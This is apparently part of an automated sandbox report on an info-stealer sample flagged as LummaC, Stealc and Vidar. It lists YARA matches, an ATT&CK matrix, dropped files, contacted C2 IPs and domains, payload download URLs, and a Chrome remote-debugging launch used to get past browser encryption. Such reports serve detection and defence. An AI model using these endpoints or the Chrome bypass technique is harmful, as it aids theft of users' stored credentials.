Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Directory queried: number of queries: 1852

Source: Yara match	File source: 00000011.00000003.2558979343.000000000138A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2601492562.000000000138B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2559683905.000000000138A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2836790919.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2586681389.0000000001389000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2587559356.000000000138B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2569576526.0000000001389000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2546685250.000000000138A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2544353256.0000000001398000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2559975310.000000000138A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 2516, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 2516, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2457446943.000000000089E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2889582820.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2586547286.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1941074085.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2833438111.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1667051199.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2755098437.00000000062B1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2705966082.0000000008730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2629590206.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2457776539.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2417034730.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 7680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 971dbb906d.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580f9a92c2.exe PID: 5924, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0C40 sqlite3_bind_zeroblob,	0_2_6C7D0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0D60 sqlite3_bind_parameter_name,	0_2_6C7D0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8EA0 sqlite3_clear_bindings,	0_2_6C6F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C7D0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6410 bind,WSAGetLastError,	0_2_6C6F6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6070 PR_Listen,	0_2_6C6F6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C6FC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC030 sqlite3_bind_parameter_count,	0_2_6C6FC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F60B0 listen,WSAGetLastError,	0_2_6C6F60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6822D0 sqlite3_bind_blob,	0_2_6C6822D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F63C0 PR_Bind,	0_2_6C6F63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9400 sqlite3_bind_int64,	0_2_6C6F9400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F94F0 sqlite3_bind_text16,	0_2_6C6F94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F94C0 sqlite3_bind_text,	0_2_6C6F94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9480 sqlite3_bind_null,	0_2_6C6F9480
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006EEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	11_2_006EEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006EDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	11_2_006EDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	22 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	248 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\DocumentsFIIIIJKFCA.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsFIIIIJKFCA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
scriptyprefej.store	100%	URL Reputation	malware

URLs

Source	Detection	Scanner	Label
http://185.215.113.206/gW	100%	Avira URL Cloud	malware
http://185.215.113.206g	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpuL;	100%	Avira URL Cloud	malware
https://community.fa	0%	Avira URL Cloud	safe
http://185.215.113.206r	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpindows	100%	Avira URL Cloud	malware
http://185.215.113.206/6-	100%	Avira URL Cloud	malware
http://185.215.113.206/dw	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=exe4	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php5543001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpe0	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exelencoded	100%	Avira URL Cloud	phishing
https://marshal-zhukov.com/)	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/(	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpf	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phph	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php0A	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpb	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exel	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/softokn3.dlltQ	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/e	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apis	0%	Avira URL Cloud	safe
https://presticitpo.store/E	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php1M	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exeZ	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php1W	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpA1J	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php)	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.192.247.89	true	false		high
plus.l.google.com	142.250.184.206	true	false		high
play.google.com	142.250.184.238	true	false		high
www.google.com	142.250.185.132	true	false		high
marshal-zhukov.com	188.114.97.3	true	false		high
navygenerayk.store	unknown	unknown	false		high
presticitpo.store	unknown	unknown	false		high
founpiuer.store	unknown	unknown	false		high
scriptyprefej.store	unknown	unknown	true	100%, URL Reputation	unknown
thumbystriw.store	unknown	unknown	false		high
necklacedmny.store	unknown	unknown	false		high
apis.google.com	unknown	unknown	false		high
crisiwarny.store	unknown	unknown	false		high
fadehairucw.store	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
fadehairucw.store	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
founpiuer.store	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
presticitpo.store	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a	580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/gW	971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/mani	580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	false		high
http://185.215.113.43/ows	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store:443/api	580f9a92c2.exe, 00000014.00000003.2781687334.0000000001345000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.0000000001345000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpuL;	580f9a92c2.exe, 00000011.00000002.2748924112.0000000001389000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/ws	971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206Local	file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english	580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl	580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/6-	971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 